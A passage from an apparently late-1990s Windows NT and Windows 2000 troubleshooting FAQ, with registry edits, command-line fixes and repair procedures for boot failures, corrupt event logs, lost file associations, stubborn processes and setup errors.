The policy editing should now work as expected. The basic problem is MMC was not being passed all the parameters and thus opening the default "Local policy".


Q. My desktop icons are corrupt, what can I do?

A. To speed up desktop refresh and its creation, the desktop icons are cached. Sometimes this file can become corrupted and will lead to the icons on the desktop being blank or incorrect.

To resolve this you can delete the icon cache file, %SystemRoot%\ShellIconCache. Before doing this you must stop Explorer (right click on Task bar and stop all instances of Explorer.exe).

C:\> attrib %systemroot%\shelliconcache -h
C:\> del %systemroot%\shelliconcache

Restart the computer

This can also be accomplished using the Repair tab of the TweakUI utility.


Q. How can I kill an orphaned process?

A. When a service terminates abnormally, it can sometimes leave an "orphaned" child process behind.

If you have the resource kit you can use the following to view a list of all processes and their relationship to one-an-other.

C:\> tlist -t

To then kill a process use

C:\> kill <process name or id>

If this fails add -F to force the kill, e.g. kill -F <process name or id>. If this still fails you could try submitting the kill command as it will then run under the computers built in System account:

C:\> AT <time> /INTERACTIVE CMD /C KILL -F <process name or id>

(you would need the schedule service to be running for this to work, net start schedule).

If this still fails one last approach is possible using the Resource Kit PVIEW.EXE utility:

  1. Start PVIEW.EXE (Start - Run - PVIEW)
  2. Select the process you wish to kill from the drop down list
  3. Click the Process button in the Security section
  4. Grant the Administrators "All Access" to the process. Click OK
  5. Repeat for Thread and P.Token
  6. Close PLIST
  7. Use kill.exe to terminate the process

If none of the above works you will have to reboot.


Q. I have lost my executable association.

A. If your computer configuration has been corrupted and executable files no longer behave correctly perform the following from the command prompt (cmd.exe)

C:\> assoc .exe=exefile
C:\> ftype exefile="%1" %*

Executables should now work as per normal.


Q. How can I save the BSOD information?

A. System Internals have a utility called BlueSave which can be downloaded from http://www.sysinternals.com which will save up to 3 BSOD's before expiring and at that point you should purchase the commercial version from http://wininternals.com.

Once installed the BSOD will be saved in file %systemroot%\BLUESCRN.TXT to help you diagnose problems. A sample BLUESCRN.EXE can be seen here.


Q. Why do I get the message 'Initialization of USER32.dll or KERNEL32.dll' failed?

A. Every desktop object on the system has a desktop heap associated with it. The desktop object uses the heap to store menus, hooks, strings, and windows.

There is soft limit on the Desktop Heap size (128KB). This can be expanded by changing a parameter in the Registry as follows:

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystems
  3. Double click on the Windows value
  4. The data will be of the format:
%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows
SharedSection=1024,3072 Windows=On
SubSystemType=Windows ServerDll=basesrv,1
ServerDll=winsrv:UserServerDllInitialization,3
ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off
MaxRequestThreads=16
  5. Find the SharedSection value and add ,512 or ,1024 after the second number, for example:
    %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,1024 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16
    Setting to ,512 will set the desktop heap to 512KB for each desktop associated with non- interactive window stations. 1024 would set it to 1MB.
  6. Close the registry editor
  7. Reboot the machine

If you try and set the value to anything less than 128 then a default of 128 will be used by the system, ignoring you value.


Q. Users are unable to logon to my Small Business Server even though I have enough licenses.

A. A known problem exists on small business server where more than 10 licenses are installed and the 6th person attempting to logon will fail and an event written to the Application event log:

Event 201: No license was available for user <user name> using product SMBServer 4.0.

To fix the problem perform the following:

  1. Check the number of installed licenses (Start - Manage Server - About Microsoft BackOffice Small Business Server)
  2. Start the registry editor (regedit.exe)
  3. Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LicenseInfo\FilePrint
  4. From the Edit menu select New - DWORD value
  5. Enter a name of ConcurrentLimit and press Enter
  6. Double click the new value and set to the number ascertained in step 1 (in decimal mode). Click OK
  7. Stop and Start the License Logging Service using the Services control panel applet.


Q. How can I use path names longer than 255 characters?

A. Windows NT has a maximum path size defined as MAX_PATH which is 255 characters. It is possible to use more characters by calling the wide (W) version of CreateFile and prefixing "\\?\" to the path. The "\\?\" tells the function to turn off path parsing. This lets you use paths that are nearly 32,000 Unicode characters long. You must use fully-qualified paths with this technique. This also works with UNC names.

The "\\?\" is ignored as part of the path.

For example, "\\?\D:\documents\faq.txt" is seen as "D:\documents\faq.txt".

Programs expecting to find legal file lengths may fall over attempting to open a file with a long path. If, for example the buffer they are putting the path into expects a legal file length.


Q. I get error 'Setup was unable to copy the following file CDROM.SYS', why?

A. This problem can be caused if you are loading the ATAPI real mode CD-ROM driver in the config.sys.

  1. Edit the config.sys file from the command prompt (cmd.exe)
    C:\> edit c:\config.sys
  2. Find the Device= line that contains the ATAPI Real Mode CD-ROM driver
  3. Edit the line so the /D: switch does not contain the word value "cdrom", for example
    Device=<driver> /d:cdrom
    to
    Device=<driver> /d:testa
  4. Save the file


Q. Logon scripts are hanging/looping, why?

A. A known problem exists as reported in Microsoft KB article 234049 which can result in login scripts hanging or looping if a file called net.bat or net.cmd exists in the netlogon folder of the domain controller.

This problem is caused by any client attempting net commands such as "net use" or "net time" which incorrectly uses the .bat file in the netlogon share rather than the correct net.exe on the client.

To resolve remove the net.bat or net.cmd from the netlogon share.


Q. The NTVDM and WOW subsystems cannot start correctly, what can I do?

A. The NT Virtual Dos Machine and the Windows On Windows subsystem are used to run older 16 bit software applications. Below are some trouble shooting steps

  1. Check the Autoexec.nt and Config.nt for anything unusual or anything that can be commented out (in the %systemroot%\system32 directory).
  2. Rename Autoexec.bat (e.g. c:\autoexec.bat).
  3. Check for changes in Win.ini or System.ini, or replace by expanding the original files off of the installation media. (%systemroot% directory)
  4. Rename all other *.ini files if possible
  5. In the Config.nt file, allow only:
    dos=high, umb
    device=%SystemRoot%\system32\himem.sys
    files=60
    shell=%SystemRoot%\system32\command.com /e:4096

If you still have problems checkout Knowledge Base article http://support.microsoft.com/support/kb/articles/q196/4/53.asp which has more information.

These files are also on the Emergency Repair disk so you could just copy the versions from the disk over your existing ones which may fix the problem.

This can also be caused by a virus, for example "NYB" in the boot sector of the machine. (PC has a bootable DOS and a bootable NT partition).


Q. What does message/error/event X mean?

A. Microsoft have an excellent online tool which can tell you the meaning of common event and error messages.

Goto http://mspress.microsoft.com/reslink/common/msg/ and select the relevant component and message for a detailed explanation.


Q. When I double click on a MSI file it has no association, what can I do?

A. MSI files are Microsoft's new software installation package format and will allow applications to be published to a domain, site or group in Windows 2000 and also allow the application to self-repair.

If when double clicking a MSI file it asks for an application to run under, its default association has been lost so perform the following to fix:

  1. Start a command prompt (Start - Run - cmd.exe)
  2. Type the command:
    C:\> ftype Msi.Package
    If the response is
    Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1"
    then continue to the next step. If it is not found type
    C:\> ftype Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1"
    Continue to the next step
  3. Type the command:
    C:\> assoc .msi
    If the response is
    .msi=Msi.Package
    then check the %systemroot%\system32 folder for the msiexec.exe file and replace if missing.
    If there is no association (the most normal problem) type:
    C:\> assoc .msi=Msi.Package
  4. Close the command prompt
  5. Retry double clicking on a MSI file


Q. I am unable to stop a process from Task Manager even though I'm an Administrator, what can I do?

A. I recently had this exact problem with some Antivirus processes I could not kill, it said I had insufficient access so all I did was start a Task Manager session under the 'System' process by submitting with the AT command, for example

C:\> at <time one minute in the future> /inter taskmgr.exe

When Task Manager starts you should be able to stop anything (but be CAREFUL!).

An alternative to AT would be the SOON resource kit command and the syntax would be

C:\> soon 30 /interactive taskmgr

Another option would be to use the the PVIEW resource kit utility to change the security on the process and then stop as normal.

Another way would be to use the kill -f command but you would need to be a local Administrator of the machine. You could use the Resource kit PULIST.EXE program to view the processes.


Q. I am unable to run CHKDSK, it cannot lock or open volume for direct access.

A. When you run Check Disk (CHKDSK) or AutoChk on a partition on which NT is installed you may receive one of the following messages

  • Cannot lock volume for direct access
  • Cannot open volume for direct access

This can be caused by a 3rd party application locking the partition such as a virus checker or disk monitor tool. To correct disable any 3rd party services or devices that may be locking the partition.

  1. Start the Services control panel applet (Start - Settings - Control Panel - Services)
  2. Select the service and click Startup
  3. Set the startup type to Manual and click OK
  4. Repeat for any other services
  5. Start the Devices control panel applet (Start - Settings - Control Panel - Devices)
  6. Set the startup type to disabled for any 3rd-party devices who you think might be causing the lock problem but BE CAREFUL. If you are unsure the device you are disabling may stop system startup create a second hardware profile and test (see 'Q. How can I safely disable a device? ').
  7. Restart the machine, the drive should no longer be locked


Q. I get a Blue-Screen of Death during setup, help!

A. If after you remove the 3rd setup disk from the machine and reboot a blue screen is displayed:

Setup has encountered a fatal error that prevents it from continuing. Contact your software representative for help. Status code (-x4, 0, 0, 0)

This indicates a virus in the Master Boot Record of the disk (this affects NTFS as well as FAT). Use an anti-virus product to clear the MBR and proceed with installation.


Q. After uninstalling Windows 98 I am unable to boot NT.

A. When you uninstall Windows 98 from a dual boot machine with 95 and NT its setup program may delete the Windows NT boot.ini file which is needed by NTLDR to start Windows NT.

To resolve either manually copy a backup of boot.ini to the active partition (C:) or use the Emergency repair disk to restore.


Q. My last known good configuration is missing or corrupt and I can't boot NT.

A. Windows stores a last known good configuration which is replaced with the current configuration after a successful login.

If during boot the System hive is corrupt it will try to use the last known good, if this is also corrupt you will get the following error and NT will not be able to boot:

Windows NT could not start because the following file is missing or corrupt:
\%systemroot%\SYSTEM32\CONFIG\SYSTEMHardware Profile/Last Known Good menu

To resolve use one of the following:

Method 1

Use the emergency repair disk and choose the 'Inspect Registry Files' from the recovery menu. Choose 'Replace System Configuration' from the next menu screen. This will replace the damaged Registry hive with the one on the ERD however if the ERD is out-of-date you will lose any changes.

Method 2

If you don't have a ERD or its to old, restore the registry from a tape that has a backup of the registry (you would require a second parallel installation of NT).

Method 3

If you can't do either of the previous options the files that make up the ERD are stored on the local harddisk in %systemroot%\Repair directory. You can therefore manually expand this backup:

  1. Install a parallel copy of NT if you don't already have one
  2. Boot into this second installation
  3. Start a command prompt (CMD.EXE)
  4. Move to the repair directory of the ORIGINAL NT installation
    C:\> cd \winnt\repair
  5. Use the EXPAND command to expand the SYSTEM._ file
    C:\> expand system._ system
  6. Copy the expanded file to the main config directory of the ORIGINAL installation
    C:\> copy system c:\winnt\system32\config
  7. Try to reboot into the original installation

If it still fails uninstall NT and use Windows 98, you can play more games :-)


Q. When I start Explorer I get a Dr Watson error, what can I do?

A. If when you start Explorer yet receive the error:

The handle is invalid

or

Dr. Watson Services.exe
Exception: Access Violation (0xc0000005), Address: 0x76e073d4

This may be caused by a corrupt event file, a .evt file. Clicking OK to the error may also display the error:

Event Viewer
Remote Procedure Call failed

The Event Viewer Log files (Sysevent.evt, Appevent.evt, Secevent.evt) are always in use by the system thus preventing the files from being deleted or renamed. The EventLog service (which has the files open) cannot be stopped because it is required by other services, thus the files are always open.

In order to fix there are two methods depending on if your boot partition is NTFS or FAT

NTFS Partition

  1. Click the Services control panel applet (Start - Settings - Control Panel - Services)
  2. Select the EventLog service and click Startup. Change the Startup Type to Disabled, and then click OK. If you are unable to log on to the computer but can access the registry remotely, you can change the Startup value in the following registry key to 0x4:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog
  3. Restart Windows NT.
    NOTE: When the system starts up, several services may fail; a message informing the user to use Event Viewer to review errors may appear.
  4. Rename or move the corrupt *.evt file from the following location:
    %SystemRoot%\system32\config
  5. In Control Panel Services tool, reenable the EventLog service by setting it back to the default of Automatic startup, or change the registry Startup value back to 0x2.

If you had another copy of NT installed on the computer you could boot to that installation and directly delete the .evt files from the %systemroot%\system32\config directory.

FAT Partition

  1. Boot to a MS-DOS prompt using a DOS bootable disk or an alternate operating system installed on the computer.
  2. Rename or move the corrupt *.evt file from the following location:
    %SystemRoot%\system32\config
  3. Remove the disk and restart Windows NT.


Q. I get an error after installing IE 4.0 SP2 on a Terminal Server.

A. After you apply Windows NT 4.0 Service Pack 4 Terminal Server Edition on a Terminal Server and install Microsoft Internet Explorer 4.01 Service Pack 2, a user may receive the following error message when logging on for the first time:

Advanced INF install.
INF install failure. Reason: Access is denied.

Also in the Personalized Settings box in the upper left corner of the screen may contain the following message:

Setting up personalized settings for:
Microsoft FrontPage Express

After the user clicks OK to continue, the personalized settings process continues and the user's desktop is displayed.

To resolve perform the following:

  1. Start Windows NT Explorer and locate the %systemroot% folder (normally wtsrv)
  2. Right-click the Fpxpress.ini file, and then click Properties
  3. On the Security tab, click Permissions
  4. Click the Everyone group
  5. In the Type of Access area, click 'Change'
  6. Click OK
  7. Close Explorer


Q. I get error 'Program will not fit in memory', what's the cause?

A. Its not caused by a lack of memory but is normally caused by a program not being downloaded correctly (an .exe) and is subsequently corrupt. Download the file again checking you are in image (binary) mode when downloading.


Q. After installing SP4/SP5 on NT 4.0 daylight saving is automatically enabled.

A. Both service packs automatically enable daylight savings time (DST), regardless of the active time zone setting. If you live in an area that doesn't observe DST and you want to install these service packs, you need to manually clear the setting on the Time Zone tab of the Control Panel applet Date/Time.


Q. I've installed a Promise Ultra IDE card but NT/2000 will no longer work.

A. Although the Promise card is an IDE card Windows NT/Windows 2000 treats it as a SCSI card and so the boot.ini file ARC path needs to be changed from the multi().../signature() format to scsi().

Note: The new signature() format is used in Windows 2000 for IDE devices, and example line is:

signature(a1bb)disk(0)rdisk(0)partition(2)\WINNT="Windows NT Workstation Version 4.00"

For example if I had boot.ini file:

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00"
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00 [VGA mode]" /basevideo
/sos

and then installed the Promise card (and install the driver before moving the IDE cable from the motherboard to the card), I would change boot.ini to:

[boot loader]
timeout=30
default=scsi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
scsi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00"
scsi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00 [VGA mode]" /basevideo
/sos

Make sure you also change the "default=" part. Obviously make sure you have loaded the Promise driver before trying to boot (Windows 2000 as of build 2114 has build in support).


Q. Some entries are missing from the Add/Remove programs control panel applet.

A. The Add/Remove control panel applet remove tab builds its list by searching HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall for any entries with a DisplayName value. There is a bug which causes entries with a text string of >64 characters to be ignored so you may want to check the DisplayName values and shorten where appropriate.


Q. The default source path for my Windows 2000 installation is not correct.

A. If you install Windows 2000 from a local hard disk, Windows 2000 defaults to the first installed CD-ROM drive letter when you make any changes to your installation that require files from the installation source. This does not occur if installation was completed using a network share. This means whenever it wants to add a component you have to correct the installation location.

For example, if you install Windows 2000 from D:\2128\I386 (a local hard disk), Windows 2000 will default to E:\2128\I386 when the source files are needed (where E is the first CD-ROM drive letter).

To fix the problem perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup
  3. Double click on SourcePath and change to the correct location. Click OK.
  4. Now move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
  5. Double click on SourcePath and change to the correct location. Click OK.
    Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup
  6. Double click on SourctPath and change to the correct drive letter, e.g. C: (it must have a I386 structure)
  7. Close the registry editor

It should now use the correct location when adding/fixing components.


Q. What keys are available during startup of Windows 2000 to troubleshoot?

A. Windows 2000 inherits some of the Windows 98 features including the ability to press F8 to bring up a menu allowing various "safe" startup options.

  • Safe Mode
  • Safe Mode with Networking
  • Safe Mode with Command Prompt
  • Enable boot logging
  • Enable VGA mode
  • Enable Last Known Good configuration
  • Directory Services Restore Mode
  • Debugging Mode
  • Boot Normally

There are other startup keys available, some of which are not documented:

  • F5 - If during installation at the "Setup is inspecting your computer" the system hangs press F5 and a list of PC types will be listed. Select "Standard PC" which should resolve your problem
  • F6 - Displayed early in setup and allows 3rd party drivers to be loaded
  • F7 - Load the normal PC HAL instead of the ACPI HAL
  • F8 - As shown above
  • <Shift - F10> - Open command prompt during GUI phase of installation


Q. Installation of Windows 2000 hangs at the 'Setup is inspecting your computer', what can I do?

A. This is normally caused by it attempting to detect settings such as ACPI so you can override this and tell it to use a standard PC type by pressing F5 while its hung and select "Standard PC".


Q. What logs are available to troubleshoot Windows 2000 installation problems?

A. Below are a list of useful log files:

  • winnt32.log/winnt.log - Created during installation
  • setuplog.txt - Text mode logging of installation
  • setuperr.log - Log of errors during installation
  • setupact.log - GUI mode logging of setup
  • bootlog.txt - Drivers loaded during setup
  • ntbtlog.txt - Boot logging from Safe Mode option


Q. Why are my AT and SOON commands not working properly?

A. When you install IE5 on NT, IE replaces the Scheduler service with its own "Task Scheduler:; this messes with the AT and SOON commands (for example, see http://support.microsoft.com/support/kb/articles/Q237/8/40.ASP http://support.microsoft.com/support/kb/articles/Q214/4/20.ASP and other KB articles). Microsoft's documentation on this (and especially how to remove it) is confusing and contradictory. The only article that explains how to revert to the Scheduler service in a way that worked on my machine is: http://support.microsoft.com/support/kb/articles/Q226/3/70.ASP but note that if mstask.inf does not exist you can specify mstask.pnf and the "uninstall" will work. The basics are described below:

Internet Explorer 4.x

To uninstall the Internet Explorer 4.x Task Scheduler:
  1. Click Start, point to Settings, click Control Panel, and then double-click Add/Remove Programs.
  2. Click the Install/Uninstall tab, click Task Scheduler 1.0 (Remove Only).
  3. Click Add/Remove, and then click Yes when you are prompted to remove Task Scheduler.
  4. Click Yes when you are prompted to restart your computer.

Internet Explorer 5

To uninstall the Internet Explorer 5 Task Scheduler:
  1. Click Start, and then click Run.
  2. In the Open box, type the following command and then press ENTER
    RunDll32 advpack.dll,LaunchINFSectionEx %systemroot%\INF\mstask.inf,,,256
  3. Restart your computer.


Q. I get error 'CAPI: The install program could not open the signature file' when installing SP5 hotfixes.

A. This is normally a problem if you have the 128bit Service Pack version. CAPI stands for Crypto API.

To solve the problem, download the 128 bit encryption update for Internet Explorer 5, apply it, and reboot the system. The
hotfixes should then install perfectly


Q. I get an event log, Crash Dump is Disabled, why?

A. If you get the following event log:

"Event ID 43

Description: Crash dump is disabled! NT failed to initialize the boot partition paging file for crash dump. This may be because the system has more than 3.8 gigabytes of physical memory."

This is caused if the pagefile size is set to smaller than that of the actual physical RAM in the machine.

To correct increase the pagefile size:

  1. In Control Panel, double-click System.
  2. On the Performance tab, click Change, and then change the minimum size of the page file on the system partition to a value at least the size of physical RAM plus 1 MB.
  3. Restart the computer.


Q. I'm getting a BSOD at startup with error C0000135.

A. There are various flavors of this Blue Screen of Death but all will have the text:

Stop: c0000135 {Unable to Locate DLL}
The dynamic link library <file name> could not be found in the specified
path Default Load Path."

The <file name> could be a number of different DLL files, a common one is WINSRV.DLL.

There are a number of causes for this error:

  1. File_name.dll is missing from the %SystemRoot%\system32 directory.
  2. Your laptop is loading the Sermouse.sys file.
  3. If <file name>.dll does exists, the software hive may be corrupted and, therefore, cannot load.

If you Windows NT installation is FAT you can just boot from a floppy disk and change that the DLL it is listing as the error cause is there and if in doubt replace with the latest service pack version. If its NTFS you can either use something like ERD Commander to access the NTFS drive (http://www.winternals.com) or install a parallel copy of Windows NT.

If after checking the DLL you still have problems it is likely a registry hive corruption and if WINSRV.DLL is listed as the missing DLL it is always the software hive. The way to test this is to again use a parallel copy of Windows NT and try to load each hive from your original NT installation:

  1. Start REGEDT32.EXE
  2. Select the HKEY_LOCAL_MACHINE on Local Machine window
  3. Select the HKEY_LOCAL_MACHINE key in the left pane of the window.
  4. On the menu bar, click Registry, and then click Load Hive.
  5. Browse to %SystemRoot%\System32\config, where %SystemRoot% is the original installation of Windows NT that you want to check.
  6. Click the file software. This will be the software file with the generic Windows icon next to it, not the file with the Notepad icon
  7. The system will prompt for a key-name to use in loading the hive. You can type whatever you prefer in the dialogue box, for example probsoft.
  8. The hive is corrupted if you receive the following error message:
    'Registry Editor could not load the key. The file is not a valid Registry file.'

The only course of action now is to replace the problem registry hive with the most recent backup which is your emergency repair disk:

  1. Start the system with the Windows NT Setup disks.
  2. At the first screen, press R for repair.
  3. Use the arrow keys to move the cursor to Inspect Registry Files, and then press ENTER to select that option. Next, move the cursor to Continue (Perform Selected Tasks) and press ENTER.
  4. Let Windows NT perform the mass storage detection. When prompted, select S to specify additional drivers if your computer requires OEM drivers.
  5. When prompted to do so, insert the emergency repair disk that was originally created for this computer, or press ESC to let Windows NT search for repair information.
  6. Setup will then ask which registry files should be replaced. Using the arrow keys, move the cursor to Software (Software Information) and press ENTER. Next, move the cursor to Continue (Perform Selected Tasks) and press ENTER.
  7. When finished, restart your computer when Setup prompts you to do so.


Q. I'm unable to install Outlook 98, IE 5.0, error about log file command line.

A. If when you try and install IE 5.0, Outlook you get error:

"The log file command line option (/G) must have a valid filename as an argument"

This may be caused by the fact you have long file names disabled. To fix perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
  3. Double click Win31FileSystem
  4. Set to 0
  5. Click OK
  6. Restart the computer

After reboot the install should work OK.


Q. NT 3.51 daylight saving update.

A. Some of you may be aware that NT3.51 requires a manual update to bring it up to the revised daylight saving schedule, subsequent to the standardization of Daylight Saving by the EC.

I had thought we'd caught most of this yesterday, but anyone who still has 3.51 machines which have reverted back to GMT already may wish to update these machines according to the instructions below.

The issue has arisen as 3.5x GMT zone was set to begin at the 4th weekend in October (this is usually standard) HOWEVER this year October has 5 weekends and as agreed with the various time organizations, some years back, GMT will begin again on the 5th weekend - October 30/31 1999.

However in 3.5x the time zone is still set to weekend number 4.

Q156084 is the basics. Basically the registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time
Zones\GMT\TZI needs to be:

0000000000000000C4FFFFFF00000A00000005000200000000000000000003000000050001
00000000000000 - note the first 5 in the string was originally a 4

This then needs to be changed in:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\StandardStart - so change the 4 to a 5.

The most consistent way for changes to take effect is then to REBOOT.


Q. The SUBST command is not working correctly in Windows 2000.

A. A bug exists in Windows 2000 which will not be fixed before its Release To Manufacturing. Normally you can subst a drive letter for a folder, be it local or remote. If you subst a drive letter for a remote folder, e.g.:

C:\> subst h: \\titanic\home\savillj

When you try and access H: you get error:

The filename, directory name, or volume label syntax is incorrect.

To work around the problem use net use instead, e.g.

C:\> net use h: \\titanic\home\savillj

A knowledge base article Q218740 will be available for this (but its not out yet).


Q. I'm unable to install the Command Console on a mirror in Windows 2000.

A. As we saw in 'Q. How do I install the Recovery Console?' the recovery console can be used to boot into a special console that allows us to repair an inoperable Windows 2000 installation.

Like a normal Windows installation we cannot install on a mirrored partition (be it a basic or dynamic mirror set) and so if the system partition is part of a mirror (the partition with Ntldr, ntdetect.com etc.) you need to break the mirror, install the recovery console then recreate the mirror:

  1. Start the Computer Manager MMC snap-in (Start - Programs - Administrative Tools - Computer Management)
  2. Select the Storage branch
  3. Select the Disk Management leaf
  4. Break the mirror
  5. Install the recovery console as normal (WINNT32 /CMDCONS)
  6. Recreate the mirror

Note: In Windows 2000 you can only create mirrors on dynamic disks although older mirror sets are supported from an upgrade to 4.0 to Windows 2000 on a basic disk but if you broke the mirror you would have to upgrade to dynamic disks to recreate.


Q. I'm receiving Event ID 3013.

A. Event ID 3013 is message:

"The redirector has timed out to <server name>"

and usually means the server is one of the following:

  • Either busy and cannot respond before the rdr timeout
  • The network could be busy
  • Bottleneck in the network

To resolve this problem its possible to modify the timeout so as to increase the redirector timeout. To modify perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of SESSTIMEOUT and press Enter
  5. Double click the new value and set in the range of 10 - 65535 seconds (45 seconds is the default). Click OK
  6. Close the registry editor
  7. Reboot the machine


Q. I don't get sound on DOS games under NT.

A. A new product has been released which gives sound support under NT for DOS applications called SoundFX NT. A free demo version can be downloaded and more information can be found at http://www.softsystems.demon.co.uk/page3.html.


Q. I get an error event 1501 trying to start the Event Log service.

A. If when you try and start the Event log service you get error 1501, unable to open Event log files this is usually caused by one of two things

  • The event log files are missing
  • The event log files have read only set on them

The event log files are stored in the %systemroot%\system32\config and are named appevent.evt, secevent.evt and sysevent.evt. If any files are missing try copying from another machine and if the read only attribute is set remove via Explorer.

It is possible to move the event log files and to check you are looking in the correct place check the registry entries:

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\File
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security\File
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\File


Q. How can I configure a service to automatically restart if it stops?

A. Under Windows 2000 the built in support for service recovery has been greatly enhanced and using the Computer Management MMC, Services and Applications - Services under the Recovery tab of each service are a number of definable actions to take in the event of the service stopping:

  • Take no action
  • Restart the Service
  • Run a user defined file
  • Reboot the machine

This is not possible under Windows NT 4.0 however by writing a custom script which runs continuously you could achieve a similar effect using a batch file, for example (we use the SC.EXE and SLEEP.EXE resource kit utilities):

:start
sc query spooler > state.txt
find "STOPPED" state.txt
if %errorlevel% EQU 0 goto error
sleep 300
goto start

:error
sc start spooler
sleep 5
goto start

You could add a server name, e.g. sc \\server query etc. if you want to check a remote system. Basically the above checks every 5 minutes but you can change and check multiple services if you like.

There are 3rd products for this purpose also, e.g., Service Plus from http://svclight.activeplus.com/.


Q. I've disabled ACPI in my BIOS now Windows 2000 will not boot.

A. During installation if Advanced Configuration and Power Interface (ACPI) is detected specific changes are made to the configuration in the form of registry entries and system files.

If you then disable ACPI in the BIOS the OS will fail to boot with a BSOD:

0x00000079 (0x00000004, 0x0000AC31, 0x00000000, 0x00000000)

This is because a separate HAL is used for ACPI, non-ACPI systems. If you no longer want ACPI you will need to reinstall Windows 2000.


Q. How to I upgrade/downgrade to a multi-processor system in Windows 2000?

A. In Windows 2000 to upgrade to multi-processor you just need to change the computers driver as follows:

  1. Right click on 'My Computer' and select Properties
  2. Select the Hardware tab
  3. Click 'Device Manager'
  4. Expand the 'Computer' branch and right click on the computer (e.g. MPS Uniprocessor PC)
  5. Select the Driver tab and click 'Update Driver'
  6. Click Next to the hardware wizard
  7. Select 'Display a list of known drivers' and click Next
  8. Select the multiprocessor system and click Next
  9. Click Next to the confirmation
  10. The device driver will be updated and click Finish to close the wizard
  11. Click Yes to restart the computer

If you wish to switch from Multi to Uni follow the same procedure.


Q. My machine BSOD's whenever I try to watch a DVD, what can I do?

A. More and more DVD hardware now works under Windows NT including the Creative Labs Encore bundle which I recently installed in my NT machine but it crashed every time I tried to watch a DVD. After much digging the problem was because DMA was enabled and after disabling DMA it worked fine and I can now happily watch the Matrix while I'm supposed to be working :-) This is not to say you should all disable DMA as its a good thing but if the hardware does not correctly support it problems can occur.

For information on setting DMA options see How do I enable bus mastering (DMA) in Windows 2000? and How do I enable Bus Mastering in Windows NT?


Q. I get 'Error occurred getting driver list from inf file. Err=0' when starting the SCSI control panel applet.

A. If you start the SCSI control panel applet and select the drivers tab and you received the 'Error occurred getting driver list from inf file file, Err=0' the problem is probably due to the Plug and Play service not running, to fix just start the service.

  1. Start the services control panel applet (Start - Settings - Control Panel - Services)

  2. Select 'Plug and Play'

  3. Click Start

  4. Also check the 'Startup' button and make sure its startup is set to automatic.

  5. Close the Services control panel applet

You could also start from the command line:

C:\> net start "plug and play"

Thanks to Wyatt Eurich for this tip


Q.Where are the Dr Watson logs in Windows 2000?

A. Windows 2000 includes version 5 of Dr Watson (DRWTSN32.EXE) which has relocated the log and user dump location to the %systemdrive%\Documents and Settings\All Users\Documents\DrWatson. This can be changed by starting drwtsn32.exe and modifying the locations.

These locations can also be changed by directly editing the registry:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DrWatson
  3. From the Edit menu select New - String Value
  4. Enter a name of CrashDumpFile if you want to set the crash dump file name and location or LogFilePath to set the location of the log file. Press Enter
  5. Double click the new value and set to the required location/file name. Click OK
  6. Close the registry editor


Q. I get a BSOD of death, SYSTEM_LICENSE_VIOLATION, what did I do?

A. Stop hacking! I've seen this when I was experimenting and tried to modify the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions\ProductSuite value to test a program I was writing and it just crashed the OS!

I think it could have just displayed a warning but Microsoft decided to teach us a lesson :-)

If you are not changing keys and still get this crash, check any programs you might have running which may be trying to modify keys that it should not!


Q. I can't install Office 2000 on Windows 2000.

A. Office 2000 requires 131 MB of free disk space on the boot drive (where %systemroot% resides) for installation to complete successfully. This is by design of the Windows Installer.

To be on the safe side make sure you have more than 131MB as other programs/processes may use up disk space such as dynamic page file growth giving you less than the needed 131MB.


Q. I'm missing the Windows 2000 Advanced menu option on startup.

A. If you have Windows 2000 dual booted with NT 4.0 and reinstall/repair NT 4.0 it will remove some of the 2000 boot options as its unaware of the extra functionality of 2000 and replaces the startup files.

To restore the Windows 2000 F8 advanced startup menu and logo screen etc perform the following:

  1. Boot to another operating system (NT4, recovery console)
  2. Copy the ntldr and ntdetect.com files from the I386 directory of Windows 2000 to the C:\ drive
  3. If you have a protection problem enter the following commands:
    C:\ attrib c:\ntdetect.com -r -s -h
    C:\ attrib c:\ntldr -r -s -h
  4. Upon next reboot the Windows 2000 advanced menu will be available


Q. I can't access the information in memory.dmp as a normal user.

